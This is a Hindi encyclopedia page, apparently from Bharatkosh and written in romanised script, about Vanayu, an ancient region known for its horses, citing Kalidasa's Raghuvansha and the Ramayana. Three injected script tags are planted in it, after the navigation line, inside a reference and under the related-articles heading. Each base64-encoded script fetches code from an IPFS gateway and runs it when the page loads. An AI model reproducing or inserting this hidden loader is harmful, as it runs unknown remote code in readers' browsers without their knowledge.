वनायु

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vanayu namak sthan ka ullekh mahakavi kalidas ne apane mahakavy 'raghuvansh' mean kiya hai-

'dirgheshvami niyamita: patamandapeshu nidraanvihay vanajaksh vanayudeshya: vaktroshmana malinayanti purogatani, lehyani saiandhavashila shakalani vahaan.'[1]

  • kalidas ne uparokt sandarbh mean vanayu pradesh ke gho doan ka ullekh kiya hai.
  • koshakar halayudh ne ‘parasika vanayujaah’ kahakar vanayu ko faras ya eeran mana hai.
  • kuchh viddhanoan ke mat mean vanayu arab desh ka prachin bharatiy nam hai.[2]
  • 'valmiki ramayan' ke balakand[3] mean vanayu ke shyam varn ke anek gho do se ayodhya ko bharipoori bataya gaya hai-

'kaanvojavishaye jatairvahlikaishch hayottamai: vanayujairnadijaishchapoorna harihayottamai:.'

  • kalidas ko urpayukt varnan ki prerana avashy hi 'valmiki ramayan' ke ullekh se mili hogi, kyoanki 'raghuvansh' mean bhi vanayu ke gho doan ka varnan ayodhya ke prasang mean hi hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. raghuvansh, 5, 73
  2. aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 832 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. balakand 6, 22

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah